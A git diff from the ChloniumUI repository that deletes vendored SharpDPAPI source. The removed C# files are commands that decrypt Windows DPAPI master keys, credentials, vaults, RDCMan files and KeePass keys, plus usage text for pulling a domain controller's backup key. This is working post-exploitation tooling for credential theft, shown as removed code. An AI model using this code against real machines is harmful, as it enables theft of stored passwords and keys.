- if (!Helpers.IsHighIntegrity())
- {
- Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!");
- }
- else
- {
- Dictionary mappings = Triage.TriageSystemMasterKeys();
-
- Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n");
- foreach (KeyValuePair kvp in mappings)
- {
- Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
- }
- Console.WriteLine();
-
- Triage.TriageSystemCreds(mappings);
- Triage.TriageSystemVaults(mappings);
- Triage.TriageSystemCerts(mappings);
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinevaults.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinevaults.cs
deleted file mode 100644
index 82caf5a..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Machinevaults.cs
+++ /dev/null
@@ -1,34 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
- public class Machinevaults : ICommand
- {
- public static string CommandName => "machinevaults";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: Machine DPAPI Vault Triage\r\n");
-
- if (!Helpers.IsHighIntegrity())
- {
- Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!");
- }
- else
- {
- Dictionary mappings = Triage.TriageSystemMasterKeys();
-
- Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n");
- foreach (KeyValuePair kvp in mappings)
- {
- Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
- }
- Console.WriteLine();
-
- Triage.TriageSystemVaults(mappings);
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Masterkeys.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Masterkeys.cs
deleted file mode 100644
index d86a777..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Masterkeys.cs
+++ /dev/null
@@ -1,82 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
- public class Masterkeys : ICommand
- {
- public static string CommandName => "masterkeys";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: User DPAPI Masterkey File Triage\r\n");
-
- byte[] backupKeyBytes;
- string password;
- Dictionary mappings = new Dictionary();
-
- if (arguments.ContainsKey("/pvk"))
- {
- string pvk64 = arguments["/pvk"];
- if (File.Exists(pvk64))
- {
- backupKeyBytes = File.ReadAllBytes(pvk64);
- }
- else
- {
- backupKeyBytes = Convert.FromBase64String(pvk64);
- }
- if (arguments.ContainsKey("/server"))
- {
- Console.WriteLine("[*] Triaging remote server: {0}\r\n", arguments["/server"]);
- mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true, arguments["/server"]);
- }
- else if (arguments.ContainsKey("/target"))
- {
- Console.WriteLine("[*] Triaging masterkey target: {0}\r\n", arguments["/target"]);
- mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true, "", "", arguments["/target"]);
- }
- else
- {
- Console.WriteLine();
- mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true);
- }
- }
- else if (arguments.ContainsKey("/password"))
- {
- password = arguments["/password"];
- Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
- if (arguments.ContainsKey("/server"))
- {
- mappings = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
- }
- else
- {
- mappings = Triage.TriageUserMasterKeys(null, true, "", password);
- }
- }
- else
- {
- Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key or /password:X must be supplied!");
- return;
- }
-
- if (!arguments.ContainsKey("/password"))
- {
- if (mappings.Count == 0)
- {
- Console.WriteLine("\r\n[!] No master keys decrypted!\r\n");
- }
- else
- {
- Console.WriteLine("\r\n[*] User master key cache:\r\n");
- foreach (KeyValuePair kvp in mappings)
- {
- Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
- }
- }
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/PS.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/PS.cs
deleted file mode 100644
index e047af3..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/PS.cs
+++ /dev/null
@@ -1,70 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
- public class PS : ICommand
- {
- public static string CommandName => "ps";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: Describe PSCredential .xml");
-
- string target = "";
- bool unprotect = false; // whether to force CryptUnprotectData()
-
- if (arguments.ContainsKey("/unprotect"))
- {
- Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption.");
- unprotect = true;
- }
- Console.WriteLine();
-
- if (arguments.ContainsKey("/target"))
- {
- target = arguments["/target"];
- }
- else
- {
- Console.WriteLine("[X] A /target: must be supplied!");
- return;
- }
-
- // {GUID}:SHA1 keys are the only ones that don't start with /
- Dictionary masterkeys = new Dictionary();
- foreach (KeyValuePair entry in arguments)
- {
- if (!entry.Key.StartsWith("/"))
- {
- masterkeys.Add(entry.Key, entry.Value);
- }
- }
- if (arguments.ContainsKey("/pvk"))
- {
- // use a domain DPAPI backup key to triage masterkeys
- masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
- }
- else if (arguments.ContainsKey("/mkfile"))
- {
- masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
- }
- else if (arguments.ContainsKey("/password"))
- {
- string password = arguments["/password"];
- Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
- if (arguments.ContainsKey("/server"))
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
- }
- else
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, "", password);
- }
- }
-
- Triage.TriagePSCredFile(masterkeys, target, unprotect);
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/RDG.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/RDG.cs
deleted file mode 100644
index 493ebeb..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/RDG.cs
+++ /dev/null
@@ -1,96 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
- public class RDG : ICommand
- {
- public static string CommandName => "rdg";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: RDG Triage");
- arguments.Remove("rdg");
-
- string server = ""; // used for remote server specification
- bool unprotect = false; // whether to force CryptUnprotectData()
-
- if (arguments.ContainsKey("/unprotect"))
- {
- Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption.");
- unprotect = true;
- }
- Console.WriteLine("");
-
- if (arguments.ContainsKey("/server"))
- {
- server = arguments["/server"];
- Console.WriteLine("[*] Triaging remote server: {0}\r\n", server);
- }
-
- // {GUID}:SHA1 keys are the only ones that don't start with /
- Dictionary masterkeys = new Dictionary();
- foreach (KeyValuePair entry in arguments)
- {
- if (!entry.Key.StartsWith("/"))
- {
- masterkeys.Add(entry.Key, entry.Value);
- }
- }
- if (arguments.ContainsKey("/pvk"))
- {
- // use a domain DPAPI backup key to triage masterkeys
- masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
- }
- else if (arguments.ContainsKey("/mkfile"))
- {
- masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
- }
- else if (arguments.ContainsKey("/password"))
- {
- string password = arguments["/password"];
- Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
- if (arguments.ContainsKey("/server"))
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
- }
- else
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, "", password);
- }
- }
-
- if (arguments.ContainsKey("/target"))
- {
- string target = arguments["/target"].Trim('"').Trim('\'');
-
- if (target.EndsWith(".rdg"))
- {
- Console.WriteLine("[*] Target .RDG File: {0}\r\n", target);
- Triage.TriageRDGFile(masterkeys, target, unprotect);
- }
- else if (target.EndsWith(".settings"))
- {
- Console.WriteLine("[*] Target RDCMan.settings File: {0}\r\n", target);
- Triage.TriageRDCManFile(masterkeys, target, unprotect);
- }
- else
- {
- Console.WriteLine("[X] Target must be .RDG or RDCMan.settings file: {0}\r\n", target);
- }
- }
- else
- {
- if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password"))
- {
- Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !");
- }
- else
- {
- Triage.TriageRDCMan(masterkeys, server, unprotect);
- }
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Search.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Search.cs
deleted file mode 100644
index dd02384..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Search.cs
+++ /dev/null
@@ -1,365 +0,0 @@
-using System;
-using System.Collections;
-using System.Collections.Generic;
-using System.IO;
-using System.Text.RegularExpressions;
-using Microsoft.Win32;
-
-namespace SharpDPAPI.Commands
-{
- public class Search : ICommand
- {
- public static string CommandName => "search";
- delegate void ProcessFileCallback(string path, bool showErrors);
-
-
- private static readonly byte[] dpapiBlobHeader =
- {
- // Version(4 bytes) | DPAPI Proivder Guid(16-bytes - df9d8cd0-1501-11d1-8c7a-00c04fc297eb)
- 0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB
- };
-
- private readonly byte[][] dpapiBlobSearches =
- {
- dpapiBlobHeader,
-
- // The following are potential base64 representations of the DPAPI provider GUID
- // Generated by putting dpapiProviderGuid into the script here: https://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/
- System.Text.Encoding.ASCII.GetBytes("AAAA0Iyd3wEV0RGMegDAT8KX6"),
- System.Text.Encoding.ASCII.GetBytes("AQAAANCMnd8BFdERjHoAwE/Cl+"),
- System.Text.Encoding.ASCII.GetBytes("EAAADQjJ3fARXREYx6AMBPwpfr"),
-
- // Hex string representation
- System.Text.Encoding.ASCII.GetBytes("01000000D08C9DDF0115D1118C7A00C04FC297EB")
- };
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: Searching for DPAPI blobs");
-
- if (!arguments.ContainsKey("/type"))
- arguments["/type"] = "registry";
-
- Console.WriteLine($"[*] Search type: {arguments["/type"]}");
-
- switch (arguments["/type"])
- {
- case "registry":
- SearchRegistry(arguments);
- break;
-
- case "folder":
- SearchFolder(arguments);
- break;
-
- case "file":
- SearchFile(arguments);
- break;
-
- case "base64":
- SearchBase64(arguments);
- break;
-
- default:
- throw new ArgumentException($"Unknown /type parameter '{arguments["/type"]}'");
- }
- }
-
- private void SearchFolder(Dictionary arguments)
- {
- if (!arguments.ContainsKey("/path"))
- throw new ArgumentException("/path argument not specified");
-
- var path = arguments["/path"];
- var showErrors = arguments.ContainsKey("/showErrors");
-
- if (!Directory.Exists(path))
- throw new ArgumentException($"The folder '{path}' does not exist");
-
- uint maxBytes = 1024;
- if (arguments.ContainsKey("/maxBytes") && !uint.TryParse(arguments["/maxBytes"], out maxBytes))
- throw new ArgumentException($"Invalid uint value '{arguments["/maxBytes"]}' in the /maxBytes argument");
-
- Console.WriteLine($"[*] Searching for the folder {path} for files potentially containing DPAPI blobs in the first {maxBytes} bytes\n");
-
- FindFiles(path, maxBytes, showErrors, (filePath, displayErrors) =>
- {
- try
- {
- if (FileContainsDpapiBlob(filePath, maxBytes))
- Console.WriteLine(filePath);
- }
- catch (Exception e)
- {
- if(displayErrors)
- Console.WriteLine($"File Processing ERROR: {filePath} - {e.Message}");
- }
- });
- }
-
-
- private void FindFiles(string path, uint maxBytes, bool showErrors, ProcessFileCallback processFile)
- {
- // Modified largely from https://developerslogblog.wordpress.com/2020/02/25/c-how-to-find-all-files-recursively-in-a-folder/
- var paths = new List();
- var directoriesQueue = new Queue();
- directoriesQueue.Enqueue(path);
-
- while (directoriesQueue.Count > 0)
- {
- var currentPath = (string)directoriesQueue.Dequeue();
-
- try
- {
- //Console.WriteLine("Processing folder " + currentPath);
- var directories = Directory.GetDirectories(currentPath);
- foreach (var directory in directories)
- directoriesQueue.Enqueue(directory);
-
- foreach (var file in Directory.GetFiles(currentPath))
- processFile(file, showErrors);
- }
- catch(Exception e)
- {
- if(showErrors)
- Console.WriteLine($"ERROR: {e}");
- }
- }
- }
-
-
- private void SearchFile(Dictionary arguments)
- {
- if(!arguments.ContainsKey("/path"))
- throw new ArgumentException("/path argument not specified");
-
- var path = arguments["/path"];
-
- if(!File.Exists(path))
- throw new ArgumentException($"The file '{path}' does not exist");
-
- uint maxBytes = 1024;
- if (arguments.ContainsKey("/maxBytes") && !uint.TryParse(arguments["/maxBytes"], out maxBytes))
- throw new ArgumentException($"Invalid uint value '{arguments["/maxBytes"]}' in the /maxBytes argument");
-
- Console.WriteLine($"[*] Searching for DPAPI blobs in the file {path}\n");
- if (FileContainsDpapiBlob(path, maxBytes))
- Console.WriteLine($"Found potential DPAPI blob at {path}");
- else
- Console.WriteLine("No DPAPI blob found");
- }
-
- private bool FileContainsDpapiBlob(string path, uint bytesToSearch)
- {
- var fileContents = new byte[bytesToSearch];
- using (var file = new FileStream(path, FileMode.Open))
- {
- file.Read(fileContents, 0, (int) bytesToSearch);
- }
-
- return ContainsDpapiBlob(fileContents);
- }
-
- private void SearchBase64(Dictionary arguments)
- {
- if (!arguments.ContainsKey("/base64"))
- throw new ArgumentException("/base64 argument not found");
-
- ContainsDpapiBlob(Convert.FromBase64String(arguments["/base64"]));
- }
-
- private void SearchRegistry(Dictionary arguments)
- {
- var showErrors = arguments.ContainsKey("/showErrors");
-
-
- if (arguments.ContainsKey("/path"))
- {
- string keyPath;
- RegistryHive hive;
- // Based on Seatbelt's code here: https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Commands/Windows/RegistryValueCommand.cs#L43-L60
- var path = arguments["/path"];
- var separatorPos = path.IndexOf("\\");
-
- if (separatorPos == -1) // e.g. HKLM
- {
- hive = GetHive(path);
- keyPath = "\\";
- }
- else if (separatorPos == path.Length) // e.g. HKLM\
- {
- var hiveStr = path.Substring(0, separatorPos);
- hive = GetHive(hiveStr);
- keyPath = "\\";
- }
- else // e.g. HKLM\Software
- {
- var hiveStr = path.Substring(0, separatorPos);
- hive = GetHive(hiveStr);
- keyPath = path.Substring(separatorPos + 1);
- }
-
- Console.WriteLine($"[*] Searching the key '{path}' for DPAPI blobs. Hive: {hive} Path: {keyPath}{(showErrors ? " (Displaying all errors)" : "")}\n");
-
- var root = RegistryKey.OpenRemoteBaseKey(hive, "").OpenSubKey(keyPath, RegistryKeyPermissionCheck.ReadSubTree);
- foreach (var match in FindRegistryBlobs(root, showErrors))
- {
- Console.WriteLine(match);
- }
- }
- else
- {
- Console.WriteLine($"[*] Searching the key HLKM and HKCU hives for DPAPI blobs\n");
-
- var matchingKeys = new List();
- Console.WriteLine("[*] Searching USERS hive:\n");
- foreach (var match in FindRegistryBlobs(Registry.Users.OpenSubKey("\\", RegistryKeyPermissionCheck.ReadSubTree), showErrors))
- {
- Console.WriteLine(match);
- }
-
- matchingKeys.Clear();
- Console.WriteLine("\n\n[*] Searching HKLM hive:\n");
-
- foreach (var match in FindRegistryBlobs(Registry.LocalMachine.OpenSubKey("\\", RegistryKeyPermissionCheck.ReadSubTree), showErrors))
- {
- Console.WriteLine(match);
- }
- }
- }
-
- // From Seatbelt: https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Util/RegistryUtil.cs#L440
- public static RegistryHive GetHive(string name)
- {
- switch (name.ToUpper())
- {
- case "HKCR":
- case "HKEY_CLASSES_ROOT":
- return RegistryHive.ClassesRoot;
-
- case "HKEY_CURRENT_CONFIG":
- return RegistryHive.CurrentConfig;
-
- case "HKCU":
- case "HKEY_CURRENT_USER":
- return RegistryHive.CurrentUser;
-
- case "HKLM":
- case "HKEY_LOCAL_MACHINE":
- return RegistryHive.LocalMachine;
-
- case "HKEY_PERFORMANCE_DATA":
- return RegistryHive.PerformanceData;
-
- case "HKU":
- case "HKEY_USERS":
- return RegistryHive.Users;
-
- default:
- throw new Exception("UnknownRegistryHive");
- }
- }
-
- private IEnumerable FindRegistryBlobs(RegistryKey root, bool reportErrors)
- {
- var toCheck = new LinkedList();
- toCheck.AddLast(root);
- Console.WriteLine("Root: " + root);
-
- while (toCheck.Count > 0)
- {
- root = toCheck.First.Value;
- toCheck.RemoveFirst();
-
- if (root == null)
- continue;
-
- var valueNames = new string[] { };
-
- try
- {
- valueNames = root.GetValueNames();
- }
- catch
- {
- if (reportErrors)
- Console.WriteLine($"ERROR: Could not list values for {root}");
- }
-
- foreach (var name in valueNames)
- {
- switch (root.GetValueKind(name))
- {
- case RegistryValueKind.String:
- string matchingPath = null;
- try
- {
- var str = (string)root.GetValue(name);
-
- // Regex generated by putting dpapiProviderGuid into the script here: https://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/
- if (Regex.IsMatch(str, "(AAAA0Iyd3wEV0RGMegDAT8KX6|AQAAANCMnd8BFdERjHoAwE/Cl+|EAAADQjJ3fARXREYx6AMBPwpfr|01000000D08C9DDF0115D1118C7A00C04FC297EB)"))
- {
- var bytes = Convert.FromBase64String(str);
-
- if (ContainsDpapiBlob(bytes))
- matchingPath = $"{root.Name}{name}";
- }
- }
- catch
- {
- // Not base64 content
- }
- if(matchingPath != null)
- yield return matchingPath;
- break;
-
- case RegistryValueKind.Binary:
- if(ContainsDpapiBlob((byte[])root.GetValue(name)))
- {
- yield return $"{root.Name}{name}";
- }
- break;
- }
- }
-
-
- var subkeyNames = new string[] { };
-
- try
- {
- subkeyNames = root.GetSubKeyNames();
- }
- catch
- {
- if (reportErrors)
- Console.WriteLine($"ERROR: Could not list subkeys of {root}");
- }
- foreach (var sub in subkeyNames)
- {
- try
- {
- var subkey = root.OpenSubKey(sub);
- toCheck.AddLast(subkey);
- }
- catch(Exception e)
- {
- if (reportErrors)
- Console.WriteLine($"ERROR: Failed to open {root}\\{sub}. Message: {e.Message}");
- }
- }
- }
- }
-
- private bool ContainsDpapiBlob(byte[] bytes)
- {
- //return bytes.Contains(dpapiProviderGuid);
- foreach (var searchBytes in dpapiBlobSearches)
- {
- if (bytes.Contains(searchBytes))
- return true;
- }
-
- return false;
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Triage.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Triage.cs
deleted file mode 100644
index fb48c08..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Triage.cs
+++ /dev/null
@@ -1,82 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
- public class UserTriage : ICommand
- {
- public static string CommandName => "triage";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: User DPAPI Credential and Vault Triage\r\n");
- arguments.Remove("triage");
-
- string server = ""; // used for remote server specification
-
- if (arguments.ContainsKey("/server"))
- {
- server = arguments["/server"];
- Console.WriteLine("[*] Triaging remote server: {0}\r\n", server);
- }
-
- // {GUID}:SHA1 keys are the only ones that don't start with /
- Dictionary masterkeys = new Dictionary();
- foreach (KeyValuePair entry in arguments)
- {
- if (!entry.Key.StartsWith("/"))
- {
- masterkeys.Add(entry.Key, entry.Value);
- }
- }
- if (arguments.ContainsKey("/pvk"))
- {
- // use a domain DPAPI backup key to triage masterkeys
- masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
- }
- else if (arguments.ContainsKey("/mkfile"))
- {
- masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
- }
- else if (arguments.ContainsKey("/password"))
- {
- string password = arguments["/password"];
- Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
- if (arguments.ContainsKey("/server"))
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
- }
- else
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, "", password);
- }
- }
-
- if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password"))
- {
- Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !");
- }
- else
- {
- Triage.TriageUserCreds(masterkeys, server);
- Triage.TriageUserVaults(masterkeys, server);
-
- Console.WriteLine();
- if (masterkeys.Count == 0)
- {
- // try to use CryptUnprotectData if no GUID lookups supplied
- Triage.TriageRDCMan(masterkeys, server, true);
- Triage.TriageKeePass(masterkeys, server, true);
- }
- else
- {
- Triage.TriageRDCMan(masterkeys, server, false);
- Triage.TriageKeePass(masterkeys, server, false);
- }
-
- Triage.TriageUserCerts(masterkeys, server, false);
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Vaults.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Vaults.cs
deleted file mode 100644
index 00edaa7..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Commands/Vaults.cs
+++ /dev/null
@@ -1,82 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.IO;
-
-namespace SharpDPAPI.Commands
-{
- public class Vaults : ICommand
- {
- public static string CommandName => "vaults";
-
- public void Execute(Dictionary arguments)
- {
- Console.WriteLine("\r\n[*] Action: User DPAPI Vault Triage\r\n");
- arguments.Remove("vaults");
-
- string server = ""; // used for remote server specification
-
- if (arguments.ContainsKey("/server"))
- {
- server = arguments["/server"];
- Console.WriteLine("[*] Triaging remote server: {0}\r\n", server);
- }
-
- // {GUID}:SHA1 keys are the only ones that don't start with /
- Dictionary masterkeys = new Dictionary();
- foreach (KeyValuePair entry in arguments)
- {
- if (!entry.Key.StartsWith("/"))
- {
- masterkeys.Add(entry.Key, entry.Value);
- }
- }
- if (arguments.ContainsKey("/pvk"))
- {
- // use a domain DPAPI backup key to triage masterkeys
- masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
- }
- else if (arguments.ContainsKey("/mkfile"))
- {
- masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
- }
- else if (arguments.ContainsKey("/password"))
- {
- string password = arguments["/password"];
- Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
- if (arguments.ContainsKey("/server"))
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
- }
- else
- {
- masterkeys = Triage.TriageUserMasterKeys(null, true, "", password);
- }
- }
-
- if (arguments.ContainsKey("/target"))
- {
- string target = arguments["/target"].Trim('"').Trim('\'');
-
- if (Directory.Exists(target))
- {
- Triage.TriageVaultFolder(target, masterkeys);
- }
- else
- {
- Console.WriteLine("\r\n[X] '{0}' is not a valid Vault directory.", target);
- }
- }
- else
- {
- if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password"))
- {
- Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !");
- }
- else
- {
- Triage.TriageUserVaults(masterkeys, server);
- }
- }
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/ArgumentParser.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/ArgumentParser.cs
deleted file mode 100644
index 3b02c47..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/ArgumentParser.cs
+++ /dev/null
@@ -1,31 +0,0 @@
-using System.Collections.Generic;
-using System.Diagnostics;
-
-namespace SharpDPAPI.Domain
-{
- public static class ArgumentParser
- {
- public static ArgumentParserResult Parse(IEnumerable args)
- {
- var arguments = new Dictionary();
- try
- {
- foreach (var argument in args)
- {
- var idx = argument.IndexOf(':');
- if (idx > 0)
- arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
- else
- arguments[argument] = string.Empty;
- }
-
- return ArgumentParserResult.Success(arguments);
- }
- catch (System.Exception ex)
- {
- Debug.WriteLine(ex.Message);
- return ArgumentParserResult.Failure();
- }
- }
- }
-}
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/ArgumentParserResult.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/ArgumentParserResult.cs
deleted file mode 100644
index 092a9eb..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/ArgumentParserResult.cs
+++ /dev/null
@@ -1,23 +0,0 @@
-using System.Collections.Generic;
-
-namespace SharpDPAPI.Domain
-{
- public class ArgumentParserResult
- {
- public bool ParsedOk { get; }
- public Dictionary Arguments { get; }
-
- private ArgumentParserResult(bool parsedOk, Dictionary arguments)
- {
- ParsedOk = parsedOk;
- Arguments = arguments;
- }
-
- public static ArgumentParserResult Success(Dictionary arguments)
- => new ArgumentParserResult(true, arguments);
-
- public static ArgumentParserResult Failure()
- => new ArgumentParserResult(false, null);
-
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/CommandCollection.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/CommandCollection.cs
deleted file mode 100644
index d11c7bc..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/CommandCollection.cs
+++ /dev/null
@@ -1,57 +0,0 @@
-using System;
-using System.Collections.Generic;
-using SharpDPAPI.Commands;
-
-namespace SharpDPAPI.Domain
-{
- public class CommandCollection
- {
- private readonly Dictionary> _availableCommands = new Dictionary>();
-
- // How To Add A New Command:
- // 1. Create your command class in the Commands Folder
- // a. That class must have a CommandName static property that has the Command's name
- // and must also Implement the ICommand interface
- // b. Put the code that does the work into the Execute() method
- // 2. Add an entry to the _availableCommands dictionary in the Constructor below.
-
- public CommandCollection()
- {
- _availableCommands.Add(Backupkey.CommandName, () => new Backupkey());
- _availableCommands.Add(Blob.CommandName, () => new Blob());
- _availableCommands.Add(Credentials.CommandName, () => new Credentials());
- _availableCommands.Add(Keepass.CommandName, () => new Keepass());
- _availableCommands.Add(Machinecredentials.CommandName, () => new Machinecredentials());
- _availableCommands.Add(Machinemasterkeys.CommandName, () => new Machinemasterkeys());
- _availableCommands.Add(Machinetriage.CommandName, () => new Machinetriage());
- _availableCommands.Add(Machinevaults.CommandName, () => new Machinevaults());
- _availableCommands.Add(Masterkeys.CommandName, () => new Masterkeys());
- _availableCommands.Add(PS.CommandName, () => new PS());
- _availableCommands.Add(RDG.CommandName, () => new RDG());
- _availableCommands.Add(UserTriage.CommandName, () => new UserTriage());
- _availableCommands.Add(Vaults.CommandName, () => new Vaults());
- _availableCommands.Add(Certificate.CommandName, () => new Certificate());
- _availableCommands.Add(Search.CommandName, () => new Search());
- }
-
- public bool ExecuteCommand(string commandName, Dictionary arguments)
- {
- bool commandWasFound;
-
- if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false)
- commandWasFound= false;
- else
- {
- // Create the command object
- var command = _availableCommands[commandName].Invoke();
-
- // and execute it with the arguments from the command line
- command.Execute(arguments);
-
- commandWasFound = true;
- }
-
- return commandWasFound;
- }
- }
-}
\ No newline at end of file
diff --git a/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/Info.cs b/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/Info.cs
deleted file mode 100644
index eff7acf..0000000
--- a/ChloniumUI/SharpDPAPI/SharpDPAPI/Domain/Info.cs
+++ /dev/null
@@ -1,85 +0,0 @@
-using System;
-
-namespace SharpDPAPI.Domain
-{
- public static class Info
- {
- public static void ShowLogo()
- {
- Console.WriteLine("\r\n __ _ _ _ ___ ");
- Console.WriteLine(" (_ |_ _. ._ ._ | \\ |_) /\\ |_) | ");
- Console.WriteLine(" __) | | (_| | |_) |_/ | /--\\ | _|_ ");
- Console.WriteLine(" | ");
- Console.WriteLine(" v{0} \r\n", SharpDPAPI.Version.version);
- }
-
- public static void ShowUsage()
- {
- string usage = @"
-
-Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:
-
- SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
-
-
-The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs:
-
- search /type:registry [/path:HKLM\path\to\key] [/showErrors]
- search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors]
- search /type:file /path:C:\path\to\file [/maxBytes:]
- search /type:base64 [/base:]
-
-
-Machine/SYSTEM Triage:
-
- machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)
- machinecredentials - use 'machinemasterkeys' and then triage machine Credential files
- machinevaults - use 'machinemasterkeys' and then triage machine Vaults
- machinetriage - run the 'machinecredentials' and 'machinevaults' commands
-
-
-User Triage:
-
- Arguments for the 'masterkeys' command:
-
- /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
- /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
- /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
- /password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely)
- /server:SERVER - triage a remote server, assuming admin access
-
-
